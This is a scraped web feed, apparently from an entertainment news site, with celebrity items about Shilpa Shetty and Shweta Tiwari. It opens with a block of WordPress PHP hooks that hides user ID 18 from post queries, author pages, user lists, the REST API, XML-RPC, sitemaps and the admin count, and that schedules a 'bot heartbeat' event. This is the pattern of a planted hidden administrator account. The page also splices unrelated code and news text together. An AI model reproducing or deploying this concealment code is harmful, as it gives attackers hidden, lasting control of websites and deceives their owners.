add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Shilpa Shetty shares a quote by Sophia Loren about “mistakes” appeared first on The Edge Media.
]]>The quote read, “We can’t make our lives interesting without making a few mistakes here and there. We hope that they won’t be dangerous mistakes or mistakes that hurt other people. But there will be mistakes. We can see our mistakes as things we’d like to forget or as our most interesting, challenging and stimulating experiences. Not because of the mistakes themselves but because of what we learned from them.”
I’m going to make mistakes, I will forgive myself and learn from them,” it concluded. The actress also added a sticker to the post that read, “made a mistake but it’s ok.
The post Shilpa Shetty shares a quote by Sophia Loren about “mistakes” appeared first on The Edge Media.
]]>The post “I am very happy with the growth” : Sweta Tiwari appeared first on The Edge Media.
]]>Shweta started working in 1999 but it was her portrayal of Prerna Sharma Bajaj in the popular TV show ‘Kasautii Zindagii Kay’, which ran from 2001-2008 that made her a household name.
She was later seen in television series including ‘Parvarrish’, ‘Begusarai’ and ‘Mere Dad Ki Dulhan’.
“I am very happy with the growth, even the mistakes I have made in my career. I have learned something out of them. I don’t regret anything in my career,” Shweta told IANS.
The 40-year-old actress said that she has always tried to do something different.
“I never made myself monotonous. I never did the same kind of roles again and again. Till the time I am working I am going to try different work. For me, money was not the criteria. The work was the criteria,” she said.
Shweta wanted to “satisfy my creative urge that I had”.
The actress added: “When I look back I am super happy and I want to look forward, I want to do many roles and different kind of work.”
Shweta is currently seen in the 11th season of ‘Khatron Ke Khiladi’ hosted by filmmaker Rohit Shetty on Colors.
The post “I am very happy with the growth” : Sweta Tiwari appeared first on The Edge Media.
]]>